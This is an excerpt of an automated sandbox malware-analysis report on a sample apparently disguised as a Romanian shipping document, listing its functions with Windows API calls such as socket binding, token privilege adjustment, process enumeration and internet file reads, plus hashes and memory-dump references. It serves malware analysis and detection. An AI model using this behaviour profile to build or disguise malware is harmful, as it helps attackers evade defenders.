                                                • API ID: ErrorLast$bindclosesocketinet_addrsocket
                                                • String ID:
                                                • API String ID: 99427753-0
                                                • Opcode ID: 09f875e48468defac1abdc5ff445491c223adeb3f28f8b0bb43f47e9d5957967
                                                • Instruction ID: 0bf3a24e75d64a8aa9605ef10c2bac8a03f74cfbf0845b5881fe4a1febaf3c28
                                                • Opcode Fuzzy Hash: 09f875e48468defac1abdc5ff445491c223adeb3f28f8b0bb43f47e9d5957967
                                                • Instruction Fuzzy Hash: BE41A475A00214AFDB10BF688C86F7E77A8EF86714F04856CF915AB3D2CA749D4187D1
                                                Function 00A25376 Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Window$EnabledForegroundIconicVisibleZoomed
                                                • String ID:
                                                • API String ID: 292994002-0
                                                • Opcode ID: 933c9f9cde6a8f0d9a51345eff41c358999ef9502cd477b6d3cb91ffe797adb5
                                                • Instruction ID: 6cc6fb68e20984769405b8610da3e434e1ec62de8601b0f8cb9777ebacb26f5b
                                                • Opcode Fuzzy Hash: 933c9f9cde6a8f0d9a51345eff41c358999ef9502cd477b6d3cb91ffe797adb5
                                                • Instruction Fuzzy Hash: 4511C831B009215FD721AF7EEC54B6EBBA9FF857A1B404038F845D7241CB74DC028AA0
                                                Function 009F80A9 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 009F80C0
                                                • GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 009F80CA
                                                • GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 009F80D9
                                                • HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 009F80E0
                                                • GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 009F80F6
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: HeapInformationToken$AllocErrorLastProcess
                                                • String ID:
                                                • API String ID: 44706859-0
                                                • Opcode ID: ed3c2c629cea566f5d67e6bf0bc51a50cb406704eb67e4f8581b421506998018
                                                • Instruction ID: 2b472441dca3d1f3f9df51403332e2c94504ff7b03d589869fef8ae7bcbdc7d9
                                                • Opcode Fuzzy Hash: ed3c2c629cea566f5d67e6bf0bc51a50cb406704eb67e4f8581b421506998018
                                                • Instruction Fuzzy Hash: 24F04F31258208AFEB208FA9EC8DE773BBCEF49755B400135FA45C6150DB619C43DB60
                                                Function 009A4B37 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                                Download Yara Rule
                                                APIs
                                                • LoadLibraryA.KERNEL32(kernel32.dll,?,009A4AD0), ref: 009A4B45
                                                • GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 009A4B57
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: AddressLibraryLoadProc
                                                • String ID: GetNativeSystemInfo$kernel32.dll
                                                • API String ID: 2574300362-192647395
                                                • Opcode ID: 192313677270b1e3c2bf1c1fb15bee5daa290e53d0290fa08d6c89938eba6063
                                                • Instruction ID: 76e31f1a4d42c7626892b11cdc221c19d367d1bf6ff70336cb7d95e0ee850a7d
                                                • Opcode Fuzzy Hash: 192313677270b1e3c2bf1c1fb15bee5daa290e53d0290fa08d6c89938eba6063
                                                • Instruction Fuzzy Hash: C6D01234A10723DFD720DF79E918B16B6F8AF45751B11CC3E9485D6550D7B0D481C664
                                                Function 009B3030 Relevance: 6.6, APIs: 4, Instructions: 587COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: __itow__swprintf
                                                • String ID:
                                                • API String ID: 674341424-0
                                                • Opcode ID: 966b530ee111f148fb26d3fb89e5bf1fe9d160efaf35fb0f42c6a7039ee6ab20
                                                • Instruction ID: ec54654666edda3d91d203f7aadd0da96a4b3d5b5b5fad8f64ea6b97baa8b5ec
                                                • Opcode Fuzzy Hash: 966b530ee111f148fb26d3fb89e5bf1fe9d160efaf35fb0f42c6a7039ee6ab20
                                                • Instruction Fuzzy Hash: 202289716083419FC725DF24C981BAAB7E9BFC5320F10892CF99A97291DB75ED04CB92
                                                Function 00A1EE0D Relevance: 6.2, APIs: 4, Instructions: 164processCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CreateToolhelp32Snapshot.KERNEL32 ref: 00A1EE3D
                                                • Process32FirstW.KERNEL32(00000000,?), ref: 00A1EE4B
                                                  • Part of subcall function 009A7DE1: _memmove.LIBCMT ref: 009A7E22
                                                • Process32NextW.KERNEL32(00000000,?), ref: 00A1EF0B
                                                • CloseHandle.KERNEL32(00000000,?,?,?), ref: 00A1EF1A
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memmove
                                                • String ID:
                                                • API String ID: 2576544623-0
                                                • Opcode ID: 31f148bf3ac41ff903b7b37fc695fcbe09aad526aaca02e7e18cd0a38dd28bd2
                                                • Instruction ID: 9f19553a3828ba1fd730d12b5df19ca6dd0ecc2d29b050be3f044d52b5303eb2
                                                • Opcode Fuzzy Hash: 31f148bf3ac41ff903b7b37fc695fcbe09aad526aaca02e7e18cd0a38dd28bd2
                                                • Instruction Fuzzy Hash: FA516A71504310AFD320EF24DC82FABB7E8EFD5750F50492DF995962A1EB70A909CB92
                                                Function 009FE616 Relevance: 5.1, APIs: 1, Strings: 2, Instructions: 561stringCOMMON
                                                Download Yara Rule
                                                APIs
                                                • lstrlenW.KERNEL32(?,?,?,00000000), ref: 009FE628
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: lstrlen
                                                • String ID: ($|
                                                • API String ID: 1659193697-1631851259
                                                • Opcode ID: 7055eb053159b6e7b36f7cca369f52f4f10675cfd26224f88b9353b4e80c34a2
                                                • Instruction ID: bb9bf4c438fa513502fa760e1d360e5e399be308f4cdcdab1fae4a242361a73e
                                                • Opcode Fuzzy Hash: 7055eb053159b6e7b36f7cca369f52f4f10675cfd26224f88b9353b4e80c34a2
                                                • Instruction Fuzzy Hash: 62323575A007099FDB28DF19C481A6AB7F1FF48320B15C46EE99ADB3A1E770E941CB44
                                                Function 00A122EE Relevance: 4.7, APIs: 3, Instructions: 164networkfileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • InternetQueryDataAvailable.WININET(00000001,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00A1180A,00000000), ref: 00A123E1
                                                • InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 00A12418
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Internet$AvailableDataFileQueryRead
                                                • String ID:
                                                • API String ID: 599397726-0
                                                • Opcode ID: b4845edb2ebfdc95808cbdfb3b9f96292abe04d6d35de5a3f144838746f04aaf
                                                • Instruction ID: f53eb59903b77dad9afdf821baed8a4df9dbb8aaea23485bfff5c220ca5bc4f6
                                                • Opcode Fuzzy Hash: b4845edb2ebfdc95808cbdfb3b9f96292abe04d6d35de5a3f144838746f04aaf
                                                • Instruction Fuzzy Hash: 1641D071A04209BFEB209B95DC81FFBB7BCEB80314F10402AF611AA140EA75DE919760
                                                Function 00A0B3FB Relevance: 4.6, APIs: 3, Instructions: 73COMMON
                                                Download Yara Rule
                                                APIs
                                                • SetErrorMode.KERNEL32(00000001), ref: 00A0B40B
                                                • GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 00A0B465
                                                • SetErrorMode.KERNEL32(00000000,00000001,00000000), ref: 00A0B4B2
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ErrorMode$DiskFreeSpace
                                                • String ID:
                                                • API String ID: 1682464887-0
                                                • Opcode ID: ea23763e27d0d08b9ce0dfc0b891f2a86e8ae9e46b2c59ca611c724b64ba90d8
                                                • Instruction ID: dffd28945f0fe59054a39a929017cbeeaf47fc289c0f15529c26f5e4fd90c4a5
                                                • Opcode Fuzzy Hash: ea23763e27d0d08b9ce0dfc0b891f2a86e8ae9e46b2c59ca611c724b64ba90d8
                                                • Instruction Fuzzy Hash: 12217435A00108DFCB00DF95D881AFEBBB8FF89310F1480A9E905AB351CB359956CB50
                                                Function 009F87E1 Relevance: 4.6, APIs: 3, Instructions: 67COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009C0DB6: std::exception::exception.LIBCMT ref: 009C0DEC
                                                  • Part of subcall function 009C0DB6: __CxxThrowException@8.LIBCMT ref: 009C0E01
                                                • LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 009F882B
                                                • AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 009F8858
                                                • GetLastError.KERNEL32 ref: 009F8865
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: AdjustErrorException@8LastLookupPrivilegePrivilegesThrowTokenValuestd::exception::exception
                                                • String ID:
                                                • API String ID: 1922334811-0
                                                • Opcode ID: 51b6f170d5a2bdb4c014ca74a7cbb37c77ca6d0734aaa0df430f33c4a32e47ad
                                                • Instruction ID: 9d9bfbc66873766c33242b16027eed47db898180be421c01081acf01eb21a193
                                                • Opcode Fuzzy Hash: 51b6f170d5a2bdb4c014ca74a7cbb37c77ca6d0734aaa0df430f33c4a32e47ad
                                                • Instruction Fuzzy Hash: 751160B1814305AFD728DF94DC85E7BB7BCEB44750B20852EF45697241EA30AC418B60
                                                Function 009F874B Relevance: 4.5, APIs: 3, Instructions: 43memoryCOMMON
                                                Download Yara Rule
                                                APIs
                                                • AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 009F8774
                                                • CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 009F878B
                                                • FreeSid.ADVAPI32(?), ref: 009F879B
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: AllocateCheckFreeInitializeMembershipToken
                                                • String ID:
                                                • API String ID: 3429775523-0
                                                • Opcode ID: 4629bf016c875636a738bf043b56725987aaf60621247b8c2715c66c1b398a87
                                                • Instruction ID: 1770f481b0275b2f60973b20ab8afd749d08f522f00801a691e16978ae664cb6
                                                • Opcode Fuzzy Hash: 4629bf016c875636a738bf043b56725987aaf60621247b8c2715c66c1b398a87
                                                • Instruction Fuzzy Hash: DFF03775A1120CBFDB00DFE49D89ABEBBBCEF08211F1044B9AA01E2181E6716A058B50
                                                Function 00A0C6D1 Relevance: 3.1, APIs: 2, Instructions: 52fileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • FindFirstFileW.KERNEL32(?,?), ref: 00A0C6FB
                                                • FindClose.KERNEL32(00000000), ref: 00A0C72B
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Find$CloseFileFirst
                                                • String ID:
                                                • API String ID: 2295610775-0
                                                • Opcode ID: 5169f68294745e2f0e31062c6ef6b44dc1effe8092a1d569fd69bd420b73db6c
                                                • Instruction ID: 774490e3104556cb5e8379b4bdd6cfd13880e666a151f84ad33317c5dba07566
                                                • Opcode Fuzzy Hash: 5169f68294745e2f0e31062c6ef6b44dc1effe8092a1d569fd69bd420b73db6c
                                                • Instruction Fuzzy Hash: DD1161726006049FDB10DF29D845A6AF7E9FF85324F00862DF9A9D7291DB74AC05CF91
                                                Function 00A0A06A Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetLastError.KERNEL32(00000000,?,00000FFF,00000000,00000016,?,00A19468,?,00A2FB84,?), ref: 00A0A097
                                                • FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,00000016,?,00A19468,?,00A2FB84,?), ref: 00A0A0A9
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ErrorFormatLastMessage
                                                • String ID:
                                                • API String ID: 3479602957-0
                                                • Opcode ID: 19edd9ec4995e2f0947ebc1948426debec66500ba3b6f98e871727e48c7576a8
                                                • Instruction ID: 4d3305487e171de69299de6ac79612839dd213a0838bc01f417663e5c4d2ba63
                                                • Opcode Fuzzy Hash: 19edd9ec4995e2f0947ebc1948426debec66500ba3b6f98e871727e48c7576a8
                                                • Instruction Fuzzy Hash: 07F0E23510522DBBDB209FE4DC48FEA736CBF09361F008166F808D7180C6309900CBA1
                                                Function 009F81CB Relevance: 3.0, APIs: 2, Instructions: 22COMMON
                                                Download Yara Rule
                                                APIs
                                                • AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,009F8309), ref: 009F81E0
                                                • CloseHandle.KERNEL32(?,?,009F8309), ref: 009F81F2
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: AdjustCloseHandlePrivilegesToken
                                                • String ID:
                                                • API String ID: 81990902-0
                                                • Opcode ID: 9e71362dfd6f3464eeeb11fb06b71c70772ffd1c99752ebf7b0e8424d404aeaf
                                                • Instruction ID: a8ecb8274e3ee1b14f40e1f7da7c944630ee9ced1dee1c049d8c9e36976df9eb
                                                • Opcode Fuzzy Hash: 9e71362dfd6f3464eeeb11fb06b71c70772ffd1c99752ebf7b0e8424d404aeaf
                                                • Instruction Fuzzy Hash: 03E04632004610EEE7216B64EC08E737BAAEB44310B10883DB8AAC4431DB22AC92DB10
                                                Function 009CA155 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                • SetUnhandledExceptionFilter.KERNEL32(00000000,?,009C8D57,?,?,?,00000001), ref: 009CA15A
                                                • UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 009CA163
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ExceptionFilterUnhandled
                                                • String ID:
                                                • API String ID: 3192549508-0
                                                • Opcode ID: 0bad81631241346a02d4a534b6bb3e8761bc7974ef828d6744c5a08068408b72
                                                • Instruction ID: a7a36026a1dfad0e9eaba91fd1aea3809c764ad2b651527850f72c654a960c23
                                                • Opcode Fuzzy Hash: 0bad81631241346a02d4a534b6bb3e8761bc7974ef828d6744c5a08068408b72
                                                • Instruction Fuzzy Hash: B2B09231054208EFCA10ABD9ED09BA83F78EB44AA2F404030F61D88060CB6254538A91
                                                Function 009CF1D9 Relevance: 2.1, APIs: 1, Instructions: 645COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID:
                                                • API String ID:
                                                • Opcode ID: 6ed643ab440d8d8cf7c7addb132b3954c901d8f1e16dbd388883344b0b2675ee
                                                • Instruction ID: 0a323696a708fc1268c19f3bcac7041bdba4ee2026df3fcaef2972583e052be4
                                                • Opcode Fuzzy Hash: 6ed643ab440d8d8cf7c7addb132b3954c901d8f1e16dbd388883344b0b2675ee
                                                • Instruction Fuzzy Hash: FF32D161D29F454DDB239A34DC3232AA25DAFB73C4F15D73BF81AB59A6EB28C4834101
                                                Function 009D242E Relevance: 1.8, APIs: 1, Instructions: 294COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID:
                                                • API String ID:
                                                • Opcode ID: add38f68d44c429b15918ec788bdfcc2c58249aff18e1ff700db835ad010448f
                                                • Instruction ID: 9ac1330cee233280cd030648e762e8fa306e81296e03e986fefd2c8694b3aed9
                                                • Opcode Fuzzy Hash: add38f68d44c429b15918ec788bdfcc2c58249aff18e1ff700db835ad010448f
                                                • Instruction Fuzzy Hash: 98B10F21E2AF514DD32396798C31336BA5CAFBB2C5F52D71BFC6674E22EB2285834141
                                                Function 00A08889 Relevance: 1.6, APIs: 1, Instructions: 68COMMON
                                                Download Yara Rule
                                                APIs
                                                • __time64.LIBCMT ref: 00A0889B
                                                  • Part of subcall function 009C520A: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,00A08F6E,00000000,?,?,?,?,00A0911F,00000000,?), ref: 009C5213
                                                  • Part of subcall function 009C520A: __aulldiv.LIBCMT ref: 009C5233
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
